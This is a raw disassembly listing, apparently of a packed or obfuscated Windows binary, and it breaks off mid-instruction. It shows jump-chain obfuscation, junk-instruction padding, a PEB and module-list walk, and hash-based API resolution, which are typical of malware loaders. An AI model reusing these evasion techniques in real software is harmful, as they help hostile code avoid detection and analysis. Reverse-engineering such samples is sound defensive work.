FUNCTION CHUNK AT 00405722 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405726 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405739 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405758 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0040579A SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004057C2 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004057D5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004057FF SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040581A SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405820 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405831 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405850 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00405857 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405883 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040588C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405896 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004058B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004058C1 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004058EB SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004058FE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00405920 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040593B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405952 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 00405995 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004059BC SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004059CD SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004059F4 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405A1B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405A20 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405A2B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00406392 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 004063D2 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004063E1 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00406400 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00406407 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040642F SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00406434 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00406442 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00406465 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004064CB SIZE 00000030 BYTES ; FUNCTION CHUNK AT 004064FD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00406514 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040653D SIZE 00000002 BYTES scasd mov esp, 0A8CB9A45h shl dword ptr [esi-59h], 54h std repne inc ebx loc_406385: ; CODE XREF: sub_405A52:loc_406357j jmp loc_405701 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- push eax push ecx xchg ecx, ecx inc ecx cld pop ecx pop eax ; START OF FUNCTION CHUNK FOR start loc_406392: ; CODE XREF: start-A24j mov [esi], eax push esi push ecx ror ecx, 47h xor ecx, ecx neg esi shl esi, 5 not esi mov ecx, 80B21Ah cmp ebp, esi cld pop ecx pop esi mov [esi+0Ch], eax push esi push ebx mov ebx, ebp inc esi cld pop ebx pop esi mov [esi+10h], eax push eax push edx mov ax, 53D8h shl eax, 34h cld pop edx pop eax add esi, 14h jmp short loc_4063E1 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 6Dh dd 69F033A2h db 0EEh, 8Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4063D2: ; CODE XREF: start:loc_4063E1j jmp short loc_406400 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- sbb al, 25h cli stosd or [ecx-224B783Ah], ah push edx and esp, [eax] ; START OF FUNCTION CHUNK FOR start loc_4063E1: ; CODE XREF: start+51j jmp short loc_4063D2 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0D9h dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh dd 81688B5Ah, 0BD146726h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_406400: ; CODE XREF: start:loc_4063D2j mov edx, [ebp+0Ch] jmp short loc_40642F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0ACh, 75h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_406407: ; CODE XREF: start:loc_40642Fj jmp short loc_406442 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0Ah, 7Bh, 98h dd 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h ; --------------------------------------------------------------------------- sal dword ptr [esi], 1 aaa ; START OF FUNCTION CHUNK FOR start loc_40642F: ; CODE XREF: start+8Bj jmp short loc_406407 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0A4h, 0Dh, 0C2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_406434: ; CODE XREF: start:loc_406442j jmp short loc_406465 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 10D3h dd 3C2F0E09h, 284B1AC5h db 41h, 0E6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_406442: ; CODE XREF: start:loc_406407j jmp short loc_406434 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h dd 6EE970B3h, 7AA59C0Fh, 4621882Bh ; --------------------------------------------------------------------------- pop es ; START OF FUNCTION CHUNK FOR start loc_406465: ; CODE XREF: start:loc_406434j jmp loc_40548F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- jmp short loc_406498 ; --------------------------------------------------------------------------- dd 15CCFF1Eh db 2Ah, 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_406473: ; CODE XREF: .text:loc_406498j jmp short loc_4064A8 ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h ; --------------------------------------------------------------------------- loc_406498: ; CODE XREF: .text:0040646Aj jmp short loc_406473 ; --------------------------------------------------------------------------- les ebp, [ebp-56CF8C1Eh] loc_4064A0: ; CODE XREF: .text:loc_4064A8j jmp short loc_4064CB ; --------------------------------------------------------------------------- dw 0CF2Eh dd 0EB3A655Ch ; --------------------------------------------------------------------------- loc_4064A8: ; CODE XREF: .text:loc_406473j jmp short loc_4064A0 ; --------------------------------------------------------------------------- dw 0E148h ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_40650D mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4064CB: ; CODE XREF: start-ED8j ; .text:loc_4064A0j pop ebx push ebx push edi mov edi, 80DEDAh inc ebx inc edi cld pop edi pop ebx pop edi push esi push ecx xor esi, ebp xor ecx, ecx cmp bh, bh mov esi, 84A05Ah dec ecx mov ecx, esi repne cld pop ecx pop esi pop esi push eax push edx xor edx, ebp neg edx xor eax, esp jmp loc_4064FD ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push esp pop eax ; START OF FUNCTION CHUNK FOR start loc_4064FD: ; CODE XREF: start+17Ej rcl eax, 99h cmp al, 0C4h xor edx, ebx test al, ch inc eax cld pop edx pop eax leave jmp short loc_40653D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- loc_40650D: ; CODE XREF: .text:004064BAj lahf in al, dx mov ch, 4Ah ; --------------------------------------------------------------------------- db 0BBh, 0D8h, 31h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_406514: ; CODE XREF: start:loc_40653Dj jmp short nullsub_1 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 9716h dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h dd 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h ; --------------------------------------------------------------------------- push eax ; START OF FUNCTION CHUNK FOR start loc_40653D: ; CODE XREF: start+193j jmp short loc_406514 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 49h dd 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp short loc_406584 ; --------------------------------------------------------------------------- db 62h, 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_40655C: ; CODE XREF: .text:loc_406584j jmp short loc_406597 ; --------------------------------------------------------------------------- dw 0AE29h dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh ; --------------------------------------------------------------------------- loc_406584: ; CODE XREF: .text:00406557j jmp short loc_40655C ; --------------------------------------------------------------------------- dw 284Bh ; --------------------------------------------------------------------------- inc ecx loc_406589: ; CODE XREF: .text:loc_406597j jmp short loc_4065BA ; --------------------------------------------------------------------------- db 0E6h dd 727DD427h, 0BE7940C3h db 1Fh, 6Ch, 35h ; --------------------------------------------------------------------------- loc_406597: ; CODE XREF: .text:loc_40655Cj jmp short loc_406589 ; --------------------------------------------------------------------------- retf 583Bh ; --------------------------------------------------------------------------- mov cl, 96h loc_40659E: ; CODE XREF: .text:loc_4065BAj jmp short loc_4065CD ; --------------------------------------------------------------------------- dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h dd 1E59A0A3h db 0FFh, 0CCh ; --------------------------------------------------------------------------- loc_4065BA: ; CODE XREF: .text:loc_406589j jmp short loc_40659E ; --------------------------------------------------------------------------- dd 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h db 85h ; --------------------------------------------------------------------------- loc_4065CD: ; CODE XREF: .text:loc_40659Ej ; .text:loc_407085p ... push ebx push edi push ebx cmp ebx, 80E15Ah xchg edi, ebx clc xor edi, eax mov edi, esi test cl, al cld pop ebx pop edi push edi jmp short loc_406615 ; --------------------------------------------------------------------------- db 94h, 3Dh ; --------------------------------------------------------------------------- loc_4065E7: ; CODE XREF: .text:loc_406615j jmp short loc_406630 ; --------------------------------------------------------------------------- db 32h, 83h, 0 dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h ; --------------------------------------------------------------------------- push ecx loc_406615: ; CODE XREF: .text:004065E3j jmp short loc_4065E7 ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h ; --------------------------------------------------------------------------- loc_406630: ; CODE XREF: .text:loc_4065E7j mov eax, large fs:30h push ecx push esi mov ecx, ecx push edx pop esi and ecx, 808C5Ah mov si, 48F8h rcr ecx, 8Eh inc ecx cmp bl, bl xor ecx, edx dec esi cld pop esi pop ecx mov eax, [eax+0Ch] push esi push ebx neg esi lea ebx, ds:80CF5Ah not esi js short loc_406669 lea esi, ds:80891Ah loc_406669: ; CODE XREF: .text:00406661j mov ebx, edi neg ebx mov esi, 80B31Ah cld pop ebx pop esi mov edi, [eax+0Ch] push eax push edx inc eax mov dx, 492Bh xchg eax, edx test eax, ecx lea edx, ds:80CA5Ah xor eax, esi push edx pop edx cld pop edx pop eax push edi jmp short loc_4066A9 ; --------------------------------------------------------------------------- db 6Dh dd 69F033A2h db 0EEh, 8Fh ; --------------------------------------------------------------------------- loc_40669A: ; CODE XREF: .text:loc_4066A9j jmp short loc_4066C8 ; --------------------------------------------------------------------------- sbb al, 25h cli stosd or [ecx-224B783Ah], ah push edx and esp, [eax] loc_4066A9: ; CODE XREF: .text:00406691j jmp short loc_40669A ; --------------------------------------------------------------------------- db 0D9h dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh dd 81688B5Ah, 0BD146726h ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: .text:loc_40669Aj ; .text:0040692Cj mov eax, [edi+18h] push edi push ecx mov edi, edx jmp $+5 not edi push eax pop ecx cld pop ecx pop edi mov ebx, eax push eax push edi cmp ah, bh mov edi, esi xor edi, esi mov di, 48F6h xor edi, edi xor eax, ecx or eax, 80C91Ah cmp ah, ch inc edi cld pop edi pop eax add ebx, [edi+20h] push eax push edi dec eax xchg edi, eax rcr edi, 0FDh lea eax, ds:80E1DAh mov eax, esi inc edi cld pop edi pop eax cmp [esp+0Ch], eax jbe loc_406907 jmp short loc_406749 ; --------------------------------------------------------------------------- dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h db 0Dh, 0C2h, 0D3h ; --------------------------------------------------------------------------- loc_40673F: ; CODE XREF: .text:loc_406749j jmp short loc_40676C ; --------------------------------------------------------------------------- db 10h, 9, 0Eh dd 1AC53C2Fh ; --------------------------------------------------------------------------- dec ebx loc_406749: ; CODE XREF: .text:0040671Aj jmp short loc_40673F ; --------------------------------------------------------------------------- db 28h ; --------------------------------------------------------------------------- loc_40674C: ; CODE XREF: .text:loc_40676Cj jmp short loc_40677C ; --------------------------------------------------------------------------- dw 0E641h dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h dd 6EE970B3h, 7AA59C0Fh ; --------------------------------------------------------------------------- loc_40676C: ; CODE XREF: .text:loc_40673Fj jmp short loc_40674C ; --------------------------------------------------------------------------- sub ecx, [eax+34074621h] pop ebp loc_406775: ; CODE XREF: .text:loc_40677Cj jmp short loc_4067A3 ; --------------------------------------------------------------------------- db 0D2h dd 1E59A0A3h ; --------------------------------------------------------------------------- loc_40677C: ; CODE XREF: .text:loc_40674Cj jmp short loc_406775 ; --------------------------------------------------------------------------- dw 0CCFFh dd 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h dd 94E7A601h, 83323Dh, 2CDF7E39h ; --------------------------------------------------------------------------- cmc mov bh, bl loc_4067A3: ; CODE XREF: .text:loc_406775j cmp [esp+0Ch], ebx jnb loc_406907 push eax push ecx mov eax, 80A01Ah jmp loc_4067C0 ; --------------------------------------------------------------------------- push edi pop ecx mov ecx, 80A2DAh loc_4067C0: ; CODE XREF: .text:004067B4j xor ecx, ecx cld pop ecx pop eax pop edi jmp short loc_4067F7 ; --------------------------------------------------------------------------- db 30h, 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_4067CB: ; CODE XREF: .text:loc_4067F7j jmp short loc_40680A ; --------------------------------------------------------------------------- db 0CFh, 5Ch, 65h dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh dd 8D24B7B6h, 89905342h, 45BCAF8Eh, 0C1A8CB9Ah ; --------------------------------------------------------------------------- cmpsw push esp loc_4067F7: ; CODE XREF: .text:004067C6j jmp short loc_4067CB ; --------------------------------------------------------------------------- db 0FDh, 0F2h, 43h ; --------------------------------------------------------------------------- sar cl, 3Eh lahf loc_406800: ; CODE XREF: .text:loc_40680Aj jmp short loc_40682D ; --------------------------------------------------------------------------- dw 0B5ECh ; --------------------------------------------------------------------------- dec edx mov ebx, 971631D8h loc_40680A: ; CODE XREF: .text:loc_4067CBj jmp short loc_406800 ; --------------------------------------------------------------------------- dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h dd 7F9ED920h, 9BAA954Ch, 77761138h db 0E4h ; --------------------------------------------------------------------------- loc_40682D: ; CODE XREF: .text:loc_406800j pop edi jmp short loc_40685D ; --------------------------------------------------------------------------- dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h dd 987B0A75h ; --------------------------------------------------------------------------- icebp setalc loc_40684A: ; CODE XREF: .text:loc_40685Dj jmp short loc_40687C ; --------------------------------------------------------------------------- push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_40685D: ; CODE XREF: .text:0040682Ej jmp short loc_40684A ; --------------------------------------------------------------------------- db 74h dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh dd 3C2F0E09h, 284B1AC5h ; --------------------------------------------------------------------------- loc_40687C: ; CODE XREF: .text:loc_40684Aj pop ebx jmp short loc_4068A8 ; --------------------------------------------------------------------------- db 79h db 0BEh, 1Fh ; --------------------------------------------------------------------------- loc_406882: ; CODE XREF: .text:loc_4068A8j jmp short loc_4068B8 ; --------------------------------------------------------------------------- dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch dd 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh ; --------------------------------------------------------------------------- loc_4068A8: ; CODE XREF: .text:0040687Dj jmp short loc_406882 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4068AB: ; CODE XREF: .text:loc_4068B8j jmp short loc_4068D7 ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h dd 9382CD64h, 0EFCEC9D0h ; --------------------------------------------------------------------------- loc_4068B8: ; CODE XREF: .text:loc_406882j jmp short loc_4068AB ; --------------------------------------------------------------------------- dw 85FCh ; --------------------------------------------------------------------------- loc_4068BC: ; CODE XREF: .text:loc_4068D7j jmp short locret_4068EE ; --------------------------------------------------------------------------- dw 0BDAh dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h db 0C4h, 0ADh, 0E2h ; --------------------------------------------------------------------------- loc_4068D7: ; CODE XREF: .text:loc_4068ABj jmp short loc_4068BC ; --------------------------------------------------------------------------- db 73h, 30h, 0A9h dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h db 0DEh, 0BFh ; --------------------------------------------------------------------------- locret_4068EE: ; CODE XREF: .text:loc_4068BCj retn ; --------------------------------------------------------------------------- push ebx push esi xchg esi, esi rol ebx, 67h xor ebx, edi mov bx, 48F5h push ebx pop ebx ror esi, 25h not esi dec esi cld pop esi pop ebx loc_406907: ; CODE XREF: .text:00406714j ; .text:004067A7j mov edi, [edi] push ebx push esi xor ebx, 81A8DAh not esi push eax pop esi xor esi, edx js short near ptr loc_40691D+1 shr ebx, 99h dec esi loc_40691D: ; CODE XREF: .text:00406917j repne xor esi, edx mov esi, 8088DAh dec ebx cld pop esi pop ebx cmp [esp], edi jnz loc_4066C8 jmp short loc_406964 ; --------------------------------------------------------------------------- dd 428D24B7h db 53h, 90h, 89h ; --------------------------------------------------------------------------- loc_40693B: ; CODE XREF: .text:loc_406964j jmp short loc_40697B ; --------------------------------------------------------------------------- db 8Eh, 0AFh, 0BCh dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h ; --------------------------------------------------------------------------- loc_406964: ; CODE XREF: .text:00406932j jmp short loc_40693B ; --------------------------------------------------------------------------- dw 0C6A1h dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh db 77h, 0E4h, 4Dh ; --------------------------------------------------------------------------- loc_40697B: ; CODE XREF: .text:loc_40693Bj pop edi jmp short loc_406991 ; --------------------------------------------------------------------------- dw 6F4Eh db 7Ch ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: .text:loc_406991j jmp short loc_4069AC ; --------------------------------------------------------------------------- db 5 dd 81688B5Ah, 0BD146726h, 0B98003B2h db 0FEh ; --------------------------------------------------------------------------- loc_406991: ; CODE XREF: .text:0040697Cj jmp short loc_406981 ; --------------------------------------------------------------------------- db 5Fh dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh dd 478661C8h ; --------------------------------------------------------------------------- loc_4069AC: ; CODE XREF: .text:loc_406981j pop ebx jmp short loc_4069DB ; --------------------------------------------------------------------------- or al, 55h push 5Bh clc sal dword ptr [esi], 1 loc_4069B6: ; CODE XREF: .text:loc_4069DBj jmp short loc_4069EE ; --------------------------------------------------------------------------- dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h dd 0BE7940C3h, 0CA356C1Fh, 96B1583Bh ; --------------------------------------------------------------------------- pop ss add al, 0EDh loc_4069DB: ; CODE XREF: .text:004069ADj jmp short loc_4069B6 ; --------------------------------------------------------------------------- and dh, [ebx+0F6EE970h] loc_4069E3: ; CODE XREF: .text:loc_4069EEj jmp short loc_406A15 ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah ; --------------------------------------------------------------------------- sub ecx, [eax+34074621h] loc_4069EE: ; CODE XREF: .text:loc_4069B6j jmp short loc_4069E3 ; --------------------------------------------------------------------------- dd 0A0A3D25Dh ; --------------------------------------------------------------------------- loc_4069F4: ; CODE XREF: .text:loc_406A15j jmp short locret_406A25 ; --------------------------------------------------------------------------- dw 1E59h dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh dd 0A601E80Bh, 323D94E7h db 83h ; --------------------------------------------------------------------------- loc_406A15: ; CODE XREF: .text:loc_4069E3j jmp short loc_4069F4 ; --------------------------------------------------------------------------- align 4 dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h ; --------------------------------------------------------------------------- lodsd locret_406A25: ; CODE XREF: .text:loc_4069F4j retn ; --------------------------------------------------------------------------- jmp short loc_406A52 ; --------------------------------------------------------------------------- dd 655CCF2Eh ; --------------------------------------------------------------------------- cmp ch, bl dec eax loc_406A2F: ; CODE XREF: .text:loc_406A52j jmp short loc_406A62 ; --------------------------------------------------------------------------- db 0E1h, 6, 0C7h dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h dd 0AF8E8990h, 0CB9A45BCh ; --------------------------------------------------------------------------- test al, 0C1h loc_406A52: ; CODE XREF: .text:00406A26j jmp short loc_406A2F ; --------------------------------------------------------------------------- dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh db 4Ah, 0BBh ; --------------------------------------------------------------------------- loc_406A62: ; CODE XREF: .text:loc_4046A5j ; .text:loc_406A2Fj pusha push eax push edx test al, bh xchg eax, eax shl edx, 0FFh push edx pop edx cmp dh, cl cld pop edx pop eax call sub_4046B2 push ebx push esi mov ebx, 80E31Ah mov ebx, esp cld pop esi pop ebx push 0CB932CE2h push edx push ebx mov bx, 48F6h xchg edx, edx mov edx, 80C99Ah cld pop ebx pop edx push esi jmp short loc_406AC7 ; --------------------------------------------------------------------------- sbb al, 25h cli loc_406A9F: ; CODE XREF: .text:loc_406AC7j jmp short loc_406ADA ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h dd 49501302h, 57C6F4Eh, 81688B5Ah db 26h, 67h, 14h ; --------------------------------------------------------------------------- loc_406AC7: ; CODE XREF: .text:00406A9Aj jmp short loc_406A9F ; --------------------------------------------------------------------------- db 0BDh, 0B2h, 3 ; --------------------------------------------------------------------------- loc_406ACC: ; CODE XREF: .text:loc_406ADAj jmp short loc_406AFD ; --------------------------------------------------------------------------- dw 0B980h dd 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc push edi loc_406ADA: ; CODE XREF: .text:loc_406A9Fj jmp short loc_406ACC ; --------------------------------------------------------------------------- dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h ; --------------------------------------------------------------------------- movsb loc_406AFD: ; CODE XREF: .text:loc_406ACCj call near ptr sub_4048A4 push ecx push esi dec esi mov ecx, esp mov esi, esi xchg esi, esi xor esi, esp xchg esi, esi cld pop esi pop ecx call eax jmp short loc_406B24 ; --------------------------------------------------------------------------- dw 27E6h dd 0C3727DD4h ; --------------------------------------------------------------------------- inc eax loc_406B1D: ; CODE XREF: .text:loc_406B24j jmp short loc_406B4B ; --------------------------------------------------------------------------- db 79h dd 356C1FBEh ; --------------------------------------------------------------------------- loc_406B24: ; CODE XREF: .text:00406B14j jmp short loc_406B1D ; --------------------------------------------------------------------------- loc_406B26: ; CODE XREF: .text:loc_406B4Bj jmp short loc_406B5B ; --------------------------------------------------------------------------- retf 583Bh ; --------------------------------------------------------------------------- db 0B1h dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h dd 59A0A3D2h, 15CCFF1Eh db 2Ah, 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_406B4B: ; CODE XREF: .text:loc_406B1Dj jmp short loc_406B26 ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h db 64h, 0CDh, 82h ; --------------------------------------------------------------------------- loc_406B53: ; CODE XREF: .text:loc_406B5Bj jmp short loc_406B7E ; --------------------------------------------------------------------------- db 93h, 0D0h, 0C9h db 0CEh, 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_406B5B: ; CODE XREF: .text:loc_406B26j jmp short loc_406B53 ; --------------------------------------------------------------------------- db 85h, 0DAh, 0Bh dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h dd 73E2ADC4h, 0CF2EA930h db 5Ch, 65h ; --------------------------------------------------------------------------- loc_406B7E: ; CODE XREF: .text:loc_406B53j cmp eax, 80000000h jbe loc_406C66 push edi push eax test al, ch lea eax, ds:8088DAh not eax xchg edi, eax test ecx, edx inc eax cld pop eax pop edi popa jmp short loc_406BD0 ; --------------------------------------------------------------------------- dd 6063921Dh db 19h, 0DEh, 0BFh ; --------------------------------------------------------------------------- loc_406BA7: ; CODE XREF: .text:loc_406BD0j jmp short loc_406BE5 ; --------------------------------------------------------------------------- db 8Ch, 0D5h, 0EAh ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: .text:00406B9Ej jmp short loc_406BA7 ; --------------------------------------------------------------------------- xchg eax, edi test [ebp-5Eh], ch loc_406BD6: ; CODE XREF: .text:loc_406BE5j jmp short locret_406C04 ; --------------------------------------------------------------------------- dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh db 87h ; --------------------------------------------------------------------------- loc_406BE5: ; CODE XREF: .text:loc_406BA7j jmp short loc_406BD6 ; --------------------------------------------------------------------------- db 0B4h dd 202352DDh, 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh dd 7C6F4E49h, 688B5A05h ; --------------------------------------------------------------------------- locret_406C04: ; CODE XREF: .text:loc_406BD6j retn ; --------------------------------------------------------------------------- jmp short loc_406C30 ; --------------------------------------------------------------------------- db 0B2h db 3, 80h ; --------------------------------------------------------------------------- loc_406C0A: ; CODE XREF: .text:loc_406C30j jmp short loc_406C43 ; --------------------------------------------------------------------------- dd 0AC5FFEB9h, 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h ; --------------------------------------------------------------------------- loc_406C30: ; CODE XREF: .text:00406C05j jmp short loc_406C0A ; --------------------------------------------------------------------------- dw 6A55h db 5Bh, 0F8h, 0D1h ; --------------------------------------------------------------------------- loc_406C37: ; CODE XREF: .text:loc_406C43j jmp short loc_406C66 ; --------------------------------------------------------------------------- db 36h, 37h, 0A4h ; --------------------------------------------------------------------------- or eax, 910D3C2h push cs das loc_406C43: ; CODE XREF: .text:loc_406C0Aj jmp short loc_406C37 ; --------------------------------------------------------------------------- db 3Ch, 0C5h, 1Ah dd 0E641284Bh, 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh dd 22ED0417h, 6EE970B3h db 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_406C66: ; CODE XREF: .text:00406B83j ; .text:loc_406C37j push esi jmp short loc_406C96 ; --------------------------------------------------------------------------- and [esi+7], eax loc_406C6C: ; CODE XREF: .text:loc_406C96j jmp short loc_406CAE ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h db 7Eh, 0DFh ; --------------------------------------------------------------------------- loc_406C96: ; CODE XREF: .text:00406C67j jmp short loc_406C6C ; --------------------------------------------------------------------------- dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch db 48h, 0E1h ; --------------------------------------------------------------------------- loc_406CAE: ; CODE XREF: .text:loc_406C6Cj push 3DE4A069h push edi push edx neg edi inc edi cld pop edx pop edi push esi jmp short 